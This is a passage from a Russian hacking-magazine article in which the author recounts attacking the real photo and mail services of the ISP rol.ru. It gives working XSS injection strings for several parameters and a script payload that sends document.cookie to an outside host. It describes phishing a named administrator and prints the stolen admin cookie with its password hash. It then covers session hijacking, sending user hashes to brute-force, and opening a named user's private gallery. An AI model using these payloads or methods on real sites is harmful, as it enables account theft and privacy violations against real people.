Бажный провайдер – свободный интернет Ls01r (ls01r@yahoo.com) Хакер, номер #092, стр. 092-066-4 Все отлично работало. Но мне хотелось большего. Я проверил еще два параметра скрипта: ppuser и password — оба оказались уязвимыми, сплоит для них был общим. Изменив значение ppuser, я вновь просмотрел хтмл-код: <input type="hidden" name="ppuser" value="<script>alert('xss')</script>" /> Требовалось закрыть кавычкой значение value и добавить />. А в общем виде сплоит выглядел так: “/><script>your_code</script>. Просмотрев еще несколько скриптов и не заметив ничего интересного, я вернулся к showmembers.php. Следует отметить, что данный скрипт был для меня просто «на вес золота». Проверив фильтрацию параметра si, я вновь в этом убедился. На этот раз хтмл-код содержал следующее: <td><input type="text" name="si" value="<script>alert('xss')</script>" style="width:77px"></td> Без труда составив сплоит: “</td><script>your_code</script>, я проверил, что все работает на ура. Таким образом, у меня на руках было 5 рабочих xss на photo.rol.ru и одна проблемная на mail.rol.ru. Весьма неплохой набор. Оставалось лишь выбрать жертву и впарить ей линк. Выбор жертвы и первый урожай Мне предстояло выбрать жертву. Конечно, в идеале хотелось получить админские куки. Я насчитал 5 админов в фотоальбоме, но ни у одного в профиле не было указано ни аси, ни мыла. Тогда мой взгляд привлекла домашняя страничка админа с ником Andy@. Зайдя по указанной в профиле ссылке, я попал на сайт какой-то домашней сети. По-видимому, это был сайт админа, но что самое главное – на нем был указан его email. Так как в наличии у меня имелось целых 5 xss, необходимо было определиться с используемой багой. Я решил работать с xss в профиле юзера. Во-первых, при выполнении кода поле «Обо мне» оставалось пустым, что не вызывало подозрений. А во-вторых, я собирался дать админу линк на профиль пользователя. Грамотно составить текст письма с вложенной ссылкой не вызвало особых затруднений. Я вставил в уязвимое поле код: <script>open(‘http://stopthefraud.org/inf.php?’+document.cookie)</script> и залил на сервер снифер. После чего отправил письмо админу с ником Andy@. У меня не было полной уверенности в том, что админ прочитает письмо и зайдет по указанному линку, поэтому я полагался лишь на удачу. И, как ни странно, мне повезло! Буквально через 40 минут я обнаружил на сервере файл лога slg.txt с админскими куками: Date and Tiime: 22.06.06 : 16:30:33 IP: 194.67.3.240 Cookie: ppid=3;%20pppass=7c022a2354536d68ffa57c2041edae42;%20defperpage=12 Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Заменив в куках свои значения на админские, я моментально набрал в адресной строке photo.rol.ru. Все стало ясно по первой строчке приветствия фотоальбома: «Добро пожаловать, Andy@!». Получилось! Моей радости не было предела. Я сразу полез в админку. К счастью, там не требовалось ввода пароля. Окинув взглядом меню админки, я заметил опцию для работы с БД. Но внезапно вспомнил, что профиль моего пользователя, на который я давал ссылку админу, находится с внедренным javascript-кодом, что может вызвать подозрение у админа при последующих заходах по линку. Я быстро поменял значения куков назад и залогинился под своим юзером. Отредактировав профиль и удалив из поля «Обо мне» код, я вышел. Мне очень хотелось сделать дамп базы альбома. Но не тут-то было. Зайти обратно под админскими куками не получалось! Видимо, админ просек, в чем дело, и успел сменить пароль. Это событие сильно огорчило меня. Подумать только, я ведь мог сделать дамп базы и, возможно, залить веб-шелл, но не успел ни первого, ни второго. Получить админские данные еще раз было нереально. Но на всякий случай отправил админу похожее письмо. Я понимал, что шанс того, что Andy@ снова кликнет на линк, ничтожно мал, поэтому у меня появилась новая идея. Раз в админку мне уже не попасть, то почему бы не поднять несколько пользовательский акков? Тем более что у многих юзеров в профиле был указан email вида юзер@rol.ru, который являлся по совместительству логином к почтовому сервису и личному кабинету, а хэш пароля я мог получить при помощи xss. Я отобрал для эксперимента двух пользователей. Первый – с мылом вида юзер@rol.ru, а второй – со статусом «Privilege User». Отправив письма обоим, я стал ждать. Через час на сервере появился файл лога, из которого я успешно почерпнул куки обоих юзеров. Хэш пароля первого пользователя немедленно отправился на брут, а вот второй юзер, с ником Roman Bazalevsky, меня заинтересовал своим необычным статусом. Кроме того, этот пользователь занимал второе место вслед за админом в рейтинге активнейших авторов. К моему разочарованию, никакими дополнительными полномочиями Roman Bazalevsky не обладал, но вот большая часть его галереи являлась закрытой. Я быстро просмотрел все установленные юзером пароли — и мог теперь пользоваться его галереей из-под любого аккаунта:). |